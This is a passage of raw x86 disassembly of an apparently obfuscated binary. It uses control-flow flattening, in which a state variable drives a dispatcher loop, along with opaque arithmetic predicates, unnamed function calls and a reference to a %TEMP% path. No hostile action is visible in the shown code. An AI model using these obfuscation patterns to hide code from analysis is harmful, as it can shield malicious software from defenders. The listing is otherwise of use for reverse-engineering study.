and ecx, 0x7ffff
lea eax, [ecx + 0x6f]
imul eax, eax
imul edx, eax, 0x779
imul ecx, ecx, 0x43
add ecx, 0x14ad
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x5bfaab46
cmp eax, edx
je 0x4253c8
mov ecx, 0x8bb47ea6
jmp 0x4253c8
cmp eax, 0x60574f55
jg 0x4230bc
cmp eax, 0x60309fe9
je 0x423fe5
cmp eax, 0x603edea5
jne 0x4215ff
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x108], eax
mov dword [esi], 0xe8b92922
jmp 0x4215ff
cmp eax, 0x8f784c79
jg 0x42310c
cmp eax, 0x8e8d4c6f
je 0x42403a
cmp eax, 0x8ea42891
jne 0x4215ff
mov ecx, dword [esi + 4]
shl ecx, 0x11
mov eax, 0x4861e6c3
add ecx, 0x6a0000
mov dword [esi + 4], ecx
je 0x42540e
mov eax, 0xaa5013c6
jmp 0x42540e
cmp eax, 0xa1678917
jle 0x423c79
cmp eax, 0xa1678918
jne 0x425559
push dword [esi + 0x94]
call fcn.004015b3
add esp, 4
mov dword [esi + 0x18c], eax
mov dword [esi], 0xd3cae9ab
jmp 0x4215ff
cmp eax, 0x7bf0abd6
je 0x423c9f
cmp eax, 0x7c668bc6
jne 0x4215ff
mov ecx, dword [esi + 4]
shr ecx, 4
add ecx, 0xffffffd8
mov dword [esi + 4], ecx
mov eax, 0x3def1733
cmp ecx, 0x26
jae 0x42540e
mov eax, 0x56fb1c8d
jmp 0x42540e
cmp eax, 0x6fa4c2e4
je 0x423ccd
cmp eax, 0x6fd2b80f
jne 0x4215ff
imul edi, dword [esi + 4], 0xd1
add edi, 9
mov dword [esi + 4], edi
push edi
push 0x203f
push 0x414
call 0x425690
add esp, 0xc
mov eax, 0x8dbaef5b
cmp edi, 0x45
jae 0x423361
jmp 0x42540e
cmp eax, 0x54af35ea
je 0x423d25
cmp eax, 0x54d0213e
jne 0x4215ff
push 0x80
xor edi, edi
push edi
push dword [esi + 0x30]
call fcn.00433ea0
add esp, 0xc
push 0x400
push edi
push dword [esi + 0x10]
call fcn.00433ea0
add esp, 0xc
mov eax, dword [esi + 0x60]
mov dword [esi], 0x9597c4e0
jmp 0x4215ff
cmp eax, 0xd5aa8b2b
je 0x423d94
cmp eax, 0xd6f4e0e3
jne 0x4215ff
push dword [esi + 0xa8]
push dword [esi + 0xf4]
push dword [esi + 0x84]
call fcn.0043e9ac
add esp, 0xc
mov eax, dword [esi + 0xa8]
mov ecx, dword [esi + 0x84]
mov word [ecx + eax*2], 0
mov dword [esi], 0x4fa42ed2
jmp 0x4215ff
cmp eax, 0xe3f0f67b
je 0x423d9f
cmp eax, 0xe480f571
jne 0x4215ff
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x10]
mov eax, dword [esi + 0x30]
mov dword [esi], 0x3122b294
jmp 0x4215ff
cmp eax, 0x1f84cf79
je 0x423deb
cmp eax, 0x204b3ed8
jne 0x4215ff
push eax
push eax
mov eax, esp
mov dword [esi + 0x24], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x80
mov eax, esp
mov dword [esi + 0x30], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x10], eax
mov dword [esi], 0x17dbd9f7
jmp 0x4215ff
cmp eax, 0x19f034ab
je 0x423e38
cmp eax, 0x1a071f1a
jne 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0x1ffffff
and eax, ecx
lea eax, [eax*8 - 0x93]
shr eax, 5
imul eax, eax, 0x3a
mov dword [esi + 8], eax
mov dword [esi], 0x40b1f468
jmp 0x4215ff
cmp eax, 0x79499e71
je 0x423e55
cmp eax, 0x7b5a2a4c
jne 0x4215ff
imul eax, dword [esi + 8], 0x5e80
add eax, 0xffd23a00
jmp 0x424f23
cmp eax, 0x81af81f6
je 0x423ece
cmp eax, 0x826d064e
jne 0x4215ff
imul eax, dword [esi + 8], 0x9100
add eax, 0xffffff8f
shr eax, 0xe
mov dword [esi + 8], eax
mov dword [esi], 0x7e7d28fd
mov dword [esi + 0xd4], 0
jmp 0x4215ff
cmp eax, 0x559a1bb7
je 0x423f2a
cmp eax, 0x56112f5c
jne 0x4215ff
push 2
push 0x45656b
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x3122b294
test eax, eax
je 0x4253c8
mov ecx, 0x7b64b85d
jmp 0x4253c8
cmp eax, 0x5bef7a6c
je 0x423f40
cmp eax, 0x5bfaab46
jne 0x4215ff
imul ecx, dword [esi + 4], 0x294
add ecx, 0x98d1
mov dword [esi + 4], ecx
mov eax, 0x4861e6c3
cmp ecx, 0x79
jl 0x42500c
jmp 0x42540e
cmp eax, 0x3d30831
je 0x423fa2
cmp eax, 0x40a4859
jne 0x4215ff
mov eax, dword [esi + 0x64]
mov dword [esi], 0xe480f571
jmp 0x4215ff
cmp eax, 0x40b1f468
je 0x423fc9
cmp eax, 0x4172d054
jne 0x4215ff
push dword [esi + 0x98]
call fcn.004015b3
add esp, 4
mov edx, dword [esi + 0xf0]
mov ecx, 0x470e05cb
cmp edx, eax
jb 0x4253c8
mov ecx, 0xa540ef89
jmp 0x4253c8
cmp eax, 0x60574f56
je 0x424020
cmp eax, 0x60a036de
jne 0x4215ff
mov eax, dword [esi + 0x6c]
mov dword [esi], 0x8c94ea14
jmp 0x4215ff
cmp eax, 0x3122b294
je case.0x424b06.3
cmp eax, 0x31be53bd
jne 0x4215ff
mov eax, dword [esi + 0x15c]
mov word [eax], 0
mov dword [esi], 0xeee80e02
jmp 0x4215ff
cmp eax, 0x8f784c7a
je 0x424063
cmp eax, 0x8faf1f90
jne 0x4215ff
mov eax, dword [esi + 0x44]
mov dword [esi], 0x419859e8
jmp 0x4215ff
cmp eax, 0xa540ef89
je 0x424080
cmp eax, 0xa6f28bee
jne 0x4215ff
mov edi, dword [esi + 4]
shl edi, 0x10
add edi, 0xff950000
and edi, 0xfff00000
mov dword [esi + 4], edi
call fcn.004215e8
mov eax, 0x614631bb
cmp edi, 0xa6
jl 0x42540e
mov eax, 0x18aa8097
jmp 0x42540e
cmp eax, 0xbce63931
je 0x4240db
cmp eax, 0xbce72fb5
jne 0x4215ff
mov eax, dword [esi + 4]
shr eax, 4
add eax, 0xa8
mov dword [esi + 4], eax
call fcn.004215e8
call fcn.00405998
mov dword [esi], 0x17dbd9f7
jmp 0x4215ff
cmp eax, 0xbe8bd9a0
je 0x424116
cmp eax, 0xbefccf4d
jne 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0x8d
add eax, ecx
imul ecx, eax, 0x7026
imul eax, eax
imul edx, eax, 0x55f9
dec edx
add ecx, 0xffff4529
mov dword [esi + 8], ecx
mov ecx, 0x1ab0e90e
cmp eax, edx
je 0x4253c8
mov ecx, 0x9a93de8
jmp 0x4253c8
cmp eax, 0xdf88943f
je 0x424189
cmp eax, 0xe0f28195
jne 0x4215ff
mov dword [esi], 0xefae2415
jmp 0x4215ff
cmp eax, 0xe99c0270
je 0x4241c1
cmp eax, 0xeaba2f65
jne 0x4215ff
mov ecx, dword [esi + 8]
lea eax, [ecx + 0xa0]
add ecx, 0x15d
imul eax, eax
imul edx, eax, 0x233f
dec edx
shr ecx, 1
mov dword [esi + 8], ecx
mov ecx, 0xffbd1610
cmp eax, edx
je 0x4253c8
mov ecx, 0x4dc46a39
jmp 0x4253c8
cmp eax, 0xe5657a9
je 0x424214
cmp eax, 0xeec6e15
jne 0x4215ff
mov eax, dword [esi + 0x48]
add eax, 4
mov dword [esi + 0x138], eax
mov eax, dword [esi + 0x38]
add eax, 4
mov dword [esi + 0x13c], eax
mov dword [esi], 0xab26b6ce
jmp 0x4215ff
cmp eax, 0x8bb47ea6
je 0x424256
cmp eax, 0x8c107341
jne 0x4215ff
mov dword [esi], 0xaa987dfe
jmp 0x4215ff
cmp eax, 0xd0b902be
je 0x424283
cmp eax, 0xd2d47824
jne 0x4215ff
imul eax, dword [esi + 4], 0x56000
add eax, 0xffffff11
mov dword [esi + 4], eax
call fcn.004215e8
mov dword [esi], 0xc92049e7
jmp 0x4215ff
cmp eax, 0x14cdfa5
je 0x4242b6
cmp eax, 0x159486f
jne 0x4215ff
mov eax, dword [esi + 8]
shr eax, 6
and eax, 0x1ffc00
mov dword [esi + 8], eax
mov dword [esi], 0xad6d80c0
jmp 0x4215ff
cmp eax, 0x7e3a3569
je 0x4243cd
cmp eax, 0x7e7b588a
jne 0x4215ff
mov ecx, dword [esi + 4]
shl ecx, 4
add ecx, 0xfffff6a0
mov dword [esi + 4], ecx
mov eax, 0xd7df6f29
cmp ecx, 0x74
jb 0x42540e
mov eax, 0xe88c259a
jmp 0x42540e
cmp eax, 0x7146eb79
je 0x424406
cmp eax, 0x71c5912e
jne 0x4215ff
mov ecx, dword [esi + 0x130]
mov eax, 0x5b1bebb4
cmp ecx, 4
je 0x42540e
mov eax, 0x435e3da1
jmp 0x42540e
cmp eax, 0x39b38a12
je 0x424609
cmp eax, 0x3bf921b0
jne 0x4215ff
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x10c], eax
mov dword [esi], 0xe0f28195
jmp 0x4215ff
cmp eax, 0x4a272a9b
je 0x4246fa
cmp eax, 0x4a5f78ac
jne 0x4215ff
mov dword [esi], 0x88b0cd0
jmp 0x4215ff
cmp eax, 0xd7043f83
je 0x4249bc
cmp eax, 0xd74a0f18
jne 0x4215ff
mov dword [esi], 0x4f35bce
jmp 0x4215ff
cmp eax, 0xe4f18e8f
je 0x4249e4
cmp eax, 0xe620d87e
jne 0x4215ff
imul ecx, dword [esi + 4], 0xb3000
mov eax, ecx
shr eax, 9
mov dword [esi + 4], eax
mov eax, 0x68e9f58d
cmp ecx, 0x3800
jb 0x42540e
mov eax, 0xecf60134
jmp 0x42540e
cmp eax, 0x66024f5d
je 0x424a09
cmp eax, 0x67b43368
jne 0x4215ff
imul eax, dword [esi + 8], 0x3a04
add eax, 0xffffffd4
mov dword [esi + 8], eax
mov dword [esi], 0xe480f571
jmp 0x4215ff
cmp eax, 0x20f7d7de
je 0x424a45
cmp eax, 0x21354020
jne 0x4215ff
mov eax, dword [esi + 8]
shr eax, 0xa
lea ecx, [eax - 0xa1]
imul eax, eax
imul edx, eax, 0x31ab
dec edx
shr ecx, 2
imul ecx, ecx, 0x68
mov dword [esi + 8], ecx
mov ecx, 0x4616c898
jmp 0x424104
cmp eax, 0x1a1e7688
je 0x424a5e
cmp eax, 0x1a4911e2
jne 0x4215ff
push 3
push 0x456578
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x442de8f9
test eax, eax
je 0x4253c8
mov ecx, 0xdb205217
jmp 0x4253c8
cmp eax, 0x84df7198
je 0x424d58
cmp eax, 0x852c33ef
jne 0x4215ff
push 2
push 0x45656b
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x7b5a2a4c
test eax, eax
je 0x4253c8
mov ecx, 0x16135bf7
jmp 0x4253c8
cmp eax, 0xab7fc4a1
je 0x424d6d
cmp eax, 0xad1c7cd9
jne 0x4215ff
imul eax, dword [esi + 8], 0x2910000
add eax, 0xfffdfeb8
shr eax, 0xd
imul eax, eax, 0xe8
add eax, 0xffffff08
mov dword [esi + 8], eax
mov dword [esi], 0x85a0590a
jmp 0x4215ff
cmp eax, 0xb0576ce6
je 0x424da0
cmp eax, 0xb09b03be
jne 0x4215ff
mov eax, dword [esi + 0xb4]
add eax, eax
add eax, 2
push eax
call fcn.0043e964
add esp, 4
mov dword [esi + 0x90], eax
mov dword [esi], 0x479a4de1
jmp 0x4215ff
cmp eax, 0xb43a4194
je 0x424deb
cmp eax, 0xb4bb9c7a
jne 0x4215ff
mov edi, dword [esi + 4]
mov eax, edi
shr eax, 0x18
mov dword [esi + 4], eax
push eax
push 0x3284
push 0x5ea1
call 0x425690
add esp, 0xc
mov eax, 0x709e7a25
cmp edi, 0x2d000000
jae 0x42540e
mov eax, 0xc92049e7
jmp 0x42540e
cmp eax, 0xc110bd55
je 0x424e08
cmp eax, 0xc2d8eff3
jne 0x4215ff
imul eax, dword [esi + 8], 0xd1000
add eax, 0x1bacd8
mov dword [esi + 8], eax
mov dword [esi], 0xd5aa8b2b
jmp 0x4215ff
cmp eax, 0xd91beb26
je 0x424e75
cmp eax, 0xd9b58db2
jne 0x4215ff
imul eax, dword [esi + 4], 0x578
add eax, 0x5cf8
mov dword [esi + 4], eax
call fcn.004215e8
mov dword [esi], 0x71c5912e
jmp 0x4215ff
cmp eax, 0xe7a272cf
je 0x424eac
cmp eax, 0xe7ed2c98
jne 0x4215ff
cmp dword [esi + 0x148], 0
mov eax, 0x3122b294
je 0x42540e
mov eax, 0xcdfae9e1
jmp 0x42540e
cmp eax, 0x162474d9
je 0x424ec9
cmp eax, 0x1630e0a1
jne 0x4215ff
push 0x456578
push dword [esi + 0xc]
call fcn.0040133c
add esp, 8
fnstcw word [esi + 0x54]
movzx eax, word [esi + 0x54]
or eax, 0xc00
mov word [esi + 0xc8], ax
fldcw word [esi + 0xc8]
fistp dword [esi + 0x124]
fldcw word [esi + 0x54]
mov eax, dword [esi + 0x124]
mov dword [esi + 0x170], eax
mov dword [esi], 0x85d8db04
jmp 0x4215ff
cmp eax, 0x566818b5
je 0x424ed4
cmp eax, 0x56fb1c8d
jne 0x4215ff
push 3
push 0x456569
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov dword [esi + 0x144], eax
mov dword [esi], 0x191d7f5e
jmp 0x4215ff
cmp eax, 0x5e47bc62
je 0x424ef3
cmp eax, 0x5e5732f9
jne 0x4215ff
push 2
push 0x45656f
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x3122b294
test eax, eax
je 0x4253c8
mov ecx, 0x8c107341
jmp 0x4253c8
cmp eax, 0x442de8f9
je 0x424f1a
cmp eax, 0x443277d0
jne 0x4215ff
imul ecx, dword [esi + 4], 0xc6
add ecx, 0xffffa26a
mov dword [esi + 4], ecx
mov eax, 0x709e7a25
cmp ecx, 0xe5
jl 0x42540e
mov eax, 0x54d0213e
jmp 0x42540e
cmp eax, 0x470e05cb
je 0x424f31
cmp eax, 0x479a4de1
jne 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0xe2
add eax, ecx
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x7269
shl eax, 0xb
dec edx
add eax, 0xffffff14
mov dword [esi + 8], eax
mov eax, 0x9a0b9c3c
cmp ecx, edx
je 0x42540e
mov eax, 0xe4f18e8f
jmp 0x42540e
cmp eax, 0x4f35bce
je 0x424f5a
cmp eax, 0x50356ab
jne 0x4215ff
imul ecx, dword [esi + 4], 0x7200
mov dword [esi + 4], ecx
mov eax, 0x5e5732f9
test ecx, ecx
jne 0x4243c3
jmp 0x42540e
cmp eax, 0x23667d06
je 0x424fe3
cmp eax, 0x23a84c3f
jne 0x4215ff
mov edi, dword [esi + 0x138]
xor eax, eax
mov ecx, 0x10
rep stosd dword es:[edi], eax
mov eax, dword [esi + 0x48]
mov dword [eax], 0x44
mov dword [esi], 0x63769277
jmp 0x4215ff
cmp eax, 0x2ae468d7
je 0x425016
cmp eax, 0x2d40e4cb
jne 0x4215ff
imul edi, dword [esi + 4], 0x20c0
add edi, 0xfffffb2b
mov dword [esi + 4], edi
push 0x203d
push edi
push 0x185c
call 0x425690
add esp, 0xc
mov eax, 0xca7d9612
cmp edi, 0x5d
jl 0x42500c
jmp 0x42540e
cmp eax, 0x8c94ea14
je 0x42502e
cmp eax, 0x8cba5cd4
jne 0x4215ff
push dword [esi + 0xac]
push dword [esi + 0xf8]
push dword [esi + 0x88]
call fcn.0043e9ac
add esp, 0xc
mov eax, dword [esi + 0xac]
add eax, eax
add eax, dword [esi + 0x88]
mov dword [esi + 0x168], eax
mov dword [esi], 0xce76a96e
jmp 0x4215ff
cmp eax, 0xd36e0ac9
je 0x42508e
cmp eax, 0xd3cae9ab
jne 0x4215ff
mov ecx, dword [esi + 0x104]
mov eax, 0xf2bf8b37
cmp ecx, dword [esi + 0x18c]
jb 0x42540e
mov eax, 0xdee81455
jmp 0x42540e
cmp eax, 0xf88137dd
je 0x4250b8
cmp eax, 0xf92a381c
jne 0x4215ff
mov eax, dword [esi + 0x60]
movzx ecx, word [0x456508]
mov word [eax + 0xc], cx
mov ecx, dword [0x456504]
mov dword [eax + 8], ecx
mov ecx, dword [0x456500]
mov dword [eax + 4], ecx
mov ecx, dword [str._TEMP_]
mov dword [eax], ecx
mov dword [esi], 0xffbd1610
jmp 0x4215ff
cmp eax, 0x614631bb
je 0x4250f1
cmp eax, 0x615b110f
jne 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0x14
add eax, 0xffffe9c0
mov dword [esi + 8], eax
mov dword [esi], 0xe7ed2c98
jmp 0x4215ff
cmp eax, 0x8ff91233
je 0x42520e
cmp eax, 0x902336ea
jne 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0xfffffefb
add eax, ecx
imul ecx, eax, 0xe4
imul eax, eax
imul edx, eax, 0x6b11
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x57cd525
cmp edx, eax
je 0x4253c8
mov ecx, 0xc110bd55
jmp 0x4253c8
cmp eax, 0x36bcfa29
je 0x4252f6
cmp eax, 0x374a509b
jne 0x4215ff
mov eax, dword [esi + 8]
shr eax, 3
imul ecx, eax, 0x5c
imul eax, eax
imul edx, eax, 0x7c41
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x17dbd9f7
cmp edx, eax
je 0x4253c8
mov ecx, 0x64d2d51
jmp 0x4253c8
cmp eax, 0x64d2d51
je 0x425314
cmp eax, 0x784efa5
jne 0x4215ff
mov eax, dword [esi + 0x28]
mov dword [esi], 0x9c3b75b4
jmp 0x4215ff
cmp eax, 0x98a2430
je 0x425337
cmp eax, 0x9a93de8
jne 0x4215ff
movzx eax, word [esi + 0xd2]
mov ecx, dword [esi + 0x184]
mov word [ecx], ax
mov eax, dword [esi + 0xc0]
inc eax
mov dword [esi + 0x188], eax
mov ecx, dword [esi + 0x17c]
mov edx, dword [esi + 0xc0]
mov eax, 0x80dbd66f
cmp edx, ecx
je 0x42540e
mov eax, 0x47cf86e3
jmp 0x42540e
cmp eax, 0xc92049e7
je 0x425415
cmp eax, 0xca7d9612
je 0x425442
cmp eax, 0xcae7d6f9
jne 0x4215ff
mov ecx, dword [esi + 0x180]
mov eax, ecx
mov edx, 0x2aaaaaab
imul edx
mov eax, edx
shr eax, 0x1f
shr edx, 2
add edx, eax
shl edx, 3
lea eax, [edx + edx*2]
sub ecx, eax
mov word [esi + 0xd0], cx
mov dword [esi], 0x386a96aa
jmp 0x4215ff
cmp eax, 0xee0e3271
je 0x425342
cmp eax, 0xeee80e02
jne 0x4215ff
push dword [esi + 0x24]
push dword [esi + 0x154]
push dword [esi + 0x150]
push dword [esi + 0x7c]
push dword [esi + 0x80]
push dword [esi + 0x78]
call fcn.0040c7db
add esp, 0x18
push dword [esi + 0x80]
call fcn.0043e5b4
add esp, 4
mov dword [esi], 0x92d2bce3
jmp 0x4215ff
cmp eax, 0xcb251bca
je 0x425350
cmp eax, 0xcc7f3401
jne 0x4215ff
shl dword [esi + 8], 0x18
mov dword [esi], 0x784efa5
jmp 0x4215ff
cmp eax, 0xf27d07c3
je 0x42537f
cmp eax, 0xf2bf8b37
jne 0x4215ff
mov eax, dword [esi + 8]
lea ecx, [eax + 0x90]
imul ecx, ecx
imul edx, ecx, 0x4fad
dec edx
add eax, 0xffffffa2
mov dword [esi + 8], eax
mov eax, 0x8dbaef5b
cmp edx, ecx
je 0x423bc2
mov eax, 0x603edea5
mov dword [esi], eax
mov eax, dword [esi + 0x104]
mov dword [esi + 0xdc], eax
jmp 0x4215ff
cmp eax, 0x934be26f
je 0x425398
cmp eax, 0x937a5d68
jne 0x4215ff
push dword [esi + 0x98]
call fcn.004015b3
add esp, 4
mov ecx, 0xc56673a5
test eax, eax
je 0x423c07
mov ecx, 0x3bf921b0
mov dword [esi], ecx
mov dword [esi + 0xd8], 0
jmp 0x4215ff
cmp eax, 0x975348e7
je 0x4253cf
cmp eax, 0x99952f51
jne 0x4215ff
cmp dword [esi + 0x140], 0
mov eax, 0x36bcfa29
je 0x42540e
mov eax, 0xce6da06a
jmp 0x42540e
mov eax, dword [esi + 0x38]
mov dword [esi], 0x40a4859
jmp 0x4215ff
cmp eax, 0x359a4a84
jne 0x425549
mov eax, dword [esi + 8]
add eax, eax
add eax, 0x60
mov dword [esi + 8], eax
mov dword [esi], 0xe88c259a
jmp 0x4215ff
cmp eax, 0x9eadd92c
jne 0x4215ff
call fcn.00428280
mov dword [esi], 0x8d08e7b4
jmp 0x4215ff
mov dword [esi], 0x5e5732f9
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0xf
or eax, 0x72
mov dword [esi + 8], eax
jmp 0x424121
push eax
push eax
mov eax, esp
mov dword [esi + 0x18], eax
call fcn.0042c95c
mov dword [esi + 0x12c], eax
mov dword [esi], 0x5577d6d4
jmp 0x4215ff
mov eax, dword [esi + 8]
shr eax, 5
imul eax, eax, 0x9f
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x80b5
dec edx
shr eax, 4
lea eax, [eax*8 - 0xc0]
mov dword [esi + 8], eax
mov eax, 0xd7df6f29
cmp edx, ecx
je 0x42540e
mov eax, 0x1ab0e90e
jmp 0x42540e
cmp dword [esi + 0xbc], 0
mov eax, 0xee0e3271
je 0x42540e
mov eax, 0xb6c0e377
jmp 0x42540e
mov ecx, dword [esi + 8]
lea eax, [ecx - 0x77]
imul eax, eax
imul edx, eax, 0x7447
dec edx
shl ecx, 8
add ecx, 0x1e0600
and ecx, 0xffffe000
mov dword [esi + 8], ecx
mov ecx, 0x15515c8d
cmp edx, eax
je 0x4253c8
mov ecx, 0xbf210fa3
jmp 0x4253c8
mov eax, dword [esi + 8]
mov ecx, 0xfffffec1
add eax, ecx
shr eax, 0xf
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x46d1
dec edx
add eax, 0xffffffb4
mov dword [esi + 8], eax
mov eax, 0x9293a6c5
cmp ecx, edx
je 0x42540e
mov eax, 0x8d08e7b4
jmp 0x42540e
mov dword [esi], 0xfe665aaf
jmp 0x4215ff
mov ecx, dword [esi + 4]
mov eax, 0xffffff6d
add ecx, eax
mov eax, ecx
shr eax, 9
mov dword [esi + 4], eax
mov eax, 0x8e8d4c6f
cmp ecx, 0x1c600
jae 0x42540e
mov eax, 0x92cbbda6
jmp 0x42540e
mov eax, dword [esi + 4]
shr eax, 0xb
imul eax, eax, 0xde
mov dword [esi + 4], eax
call fcn.004215e8
mov dword [esi], 0xe88c259a
jmp 0x4215ff
push 2
push 0x45656b
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x7fa56d5f
test eax, eax
je 0x4253c8
mov ecx, 0x54af35ea
jmp 0x4253c8
mov ecx, dword [esi + 4]
shr ecx, 0xd
add ecx, 0xffffffe2
mov dword [esi + 4], ecx
mov eax, 0xd7043f83
cmp ecx, 0x33
je 0x42540e
mov eax, 0xe3f0f67b
jmp 0x42540e
mov eax, dword [esi + 0xb0]
mov ecx, dword [esi + 0x8c]
mov word [ecx + eax*2], 0
mov dword [esi], 0x3dfe9f86
jmp 0x4215ff
push dword [esi + 0x94]
call fcn.004015b3
add esp, 4
mov ecx, 0xdee81455
test eax, eax
je 0x4253c8
mov ecx, 0xeec6e15
jmp 0x4253c8
push dword [esi + 0x2c]
push 3
call fcn.00419760
add esp, 8
push dword [esi + 0x2c]
push dword [esi + 0x90]
push dword [esi + 0x8c]
call fcn.00426303
add esp, 0xc
mov dword [esi], 0xd419cf2d
jmp 0x4215ff
mov eax, dword [esi + 0xac]
add eax, eax
add eax, 2
push eax
call fcn.0043e964
add esp, 4
mov dword [esi + 0x88], eax
mov dword [esi], 0x4bfb7b76
jmp 0x4215ff
mov ecx, dword [esi + 4]
shl ecx, 2
and ecx, 0xfffffc
mov dword [esi + 4], ecx
mov eax, 0x614631bb
cmp ecx, 0xe8
jae 0x4246b7
jmp 0x42540e
imul eax, dword [esi + 4], 0x5e0000
add eax, 0xf474000
shr eax, 7
mov dword [esi + 4], eax
mov dword [esi], 0x975348e7
jmp 0x4215ff
imul eax, dword [esi + 8], 0x3800
add eax, 0xf300
mov dword [esi + 8], eax
mov dword [esi], 0x9a29c658
jmp 0x4215ff
push dword [esi + 0x24]
call fcn.00419a56
add esp, 4
mov dword [esi], 0x2f4415a9
jmp 0x4215ff
imul edi, dword [esi + 4], 0x5b000
mov ebx, 0x35d878d7
add edi, 0x45ac000
mov dword [esi + 4], edi
je 0x423f5c
mov ebx, 0xd0b902be
push edi
push 0x430f
push 0xc45
call 0x425690
add esp, 0xc
push 0x51e9
push edi
push 0xabf
call 0x425690
add esp, 0xc
mov dword [esi], ebx
jmp 0x4215ff
mov eax, dword [esi + 8]
shl eax, 0x1f
add eax, 0xffffff70
mov dword [esi + 8], eax
mov dword [esi], 0xd56a457d
jmp 0x4215ff
mov eax, dword [esi + 4]
shl eax, 0xc
or eax, 0xcf
imul eax, eax, 0x338000
shr eax, 6
add eax, 0xffffff6d
mov dword [esi + 4], eax
mov dword [esi], 0xe620d87e
jmp 0x4215ff
mov eax, dword [esi + 0x48]
mov dword [esi], 0x23a84c3f
jmp 0x4215ff
mov eax, dword [esi + 0x6c]
mov dword [esi], 0xe480f571
jmp 0x4215ff
mov eax, dword [esi + 8]
shr eax, 0xb
imul eax, eax, 0x71
add eax, 0xffffff16
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6a51
dec edx
shr eax, 1
and eax, 0x7fffe000
mov dword [esi + 8], eax
mov eax, 0x7c668bc6
cmp edx, ecx
je 0x42540e
mov eax, 0xec6149b3
jmp 0x42540e
imul eax, dword [esi + 4], 0x1a40
add eax, 0x1c0
mov dword [esi + 4], eax
mov dword [esi], 0x4861e6c3
jmp 0x4215ff
push 3
push 0x456571
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x3122b294
test eax, eax
je 0x4253c8
mov ecx, 0xd40623ca
jmp 0x4253c8
mov eax, dword [esi + 0x30]
mov ecx, dword [esi + 0xc0]
lea eax, [eax + ecx*2]
mov dword [esi + 0x184], eax
mov dword [esi], 0xbefccf4d
jmp 0x4215ff
mov eax, dword [esi + 8]
mov ecx, 0xe1
add eax, ecx
shr eax, 0xa
imul ecx, eax, 0x31
imul eax, eax
imul edx, eax, 0x4b1b
dec edx
add ecx, 0xffffebfe
mov dword [esi + 8], ecx
mov ecx, 0xb3f3553b
cmp eax, edx
je 0x4253c8
mov ecx, 0x559a1bb7
jmp 0x4253c8
push 0x45656b
push dword [esi + 0xc]
call fcn.004012fb
add esp, 8
mov dword [esi + 0xfc], eax
mov dword [esi], 0x25e2cc69
jmp 0x4215ff
mov ecx, dword [esi + 8]
imul eax, ecx, 0x33
add eax, 0xffffff67
imul eax, eax
imul edx, eax, 0x49bb
imul ecx, ecx, 0x72c00
add ecx, 0xd5c00
dec edx
mov dword [esi + 8], ecx
mov ecx, 0x874cd2ba
cmp edx, eax
je 0x4253c8
mov ecx, 0xba7e249
jmp 0x4253c8
push dword [esi + 0x1c]
call fcn.00401606
add esp, 4
mov dword [esi], 0x71078864
mov dword [esi + 0x5c], 0
jmp 0x4215ff
imul eax, dword [esi + 4], 0x4a000000
add eax, 0x7ce00000
mov dword [esi + 4], eax
push 0x5897
push eax
push 0x41f9
call 0x425690
add esp, 0xc
mov dword [esi], 0x1a4911e2
jmp 0x4215ff
push 2
push 0x45656f
push dword [esi + 0xc]
call fcn.00401548
add esp, 0xc
mov ecx, 0x3122b294
test eax, eax
je 0x4253c8
mov ecx, 0x62687525
jmp 0x4253c8
imul eax, dword [esi + 8], 0x59
add eax, 0x50a8
mov ecx, eax
imul ecx, eax
shr eax, 0xe
imul edx, ecx, 0x1d93
dec edx
imul eax, eax, 0xd5
mov dword [esi + 8], eax
mov eax, 0xcda75007
cmp ecx, edx
je 0x42540e
mov eax, 0x31be53bd
jmp 0x42540e
mov eax, dword [esi + 4]
shr eax, 5
and eax, 0xfffffffe
imul ecx, eax, 0x1e96
mov eax, ecx
shr eax, 0xd
mov dword [esi + 4], eax
mov eax, 0x709e7a25
cmp ecx, 0x1b8000
jb 0x42540e
mov eax, 0x6fd2b80f
jmp 0x42540e
call fcn.004212da
mov eax, dword [esi + 0x18]
mov dword [esi], 0x4616c898
jmp 0x4215ff
mov eax, dword [esi + 0x28]
mov dword [esi], 0x3122b294
jmp 0x4215ff
call fcn.0043eca0
mov dword [esi + 0x178], eax
mov dword [esi], 0xbba258eb
jmp 0x4215ff
mov edi, dword [esi + 4]
shl edi, 0x1e
or edi, 0x310000
mov dword [esi + 4], edi
call fcn.00405998
mov eax, 0x66024f5d
cmp edi, 0x19
jge 0x42540e
mov eax, 0x8dbaef5b
jmp 0x42540e
mov eax, dword [esi + 0x2c]
mov dword [esi], 0x787048c5
jmp 0x4215ff
mov ecx, dword [esi + 4]
shl ecx, 0xb
mov eax, 0x7bb042c6
and ecx, 0x7f800
mov dword [esi + 4], ecx
jne 0x425084
jmp 0x42540e
mov edi, dword [esi + 4]
mov eax, 0x17a
add edi, eax
mov dword [esi + 4], edi
push 0x5325
push edi
push 0x26d6
call 0x425690
add esp, 0xc
mov eax, 0x9a29c658
cmp edi, 0x6b
jge 0x4246b7
jmp 0x42540e
mov eax, dword [esi + 0x3c]
mov dword [esi], 0xc56a3999
jmp 0x4215ff
mov eax, dword [esi + 8]
shr eax, 0x1b
add eax, 0x22
mov ecx, eax
imul ecx, eax
shr eax, 4
imul edx, ecx, 0x4e2d
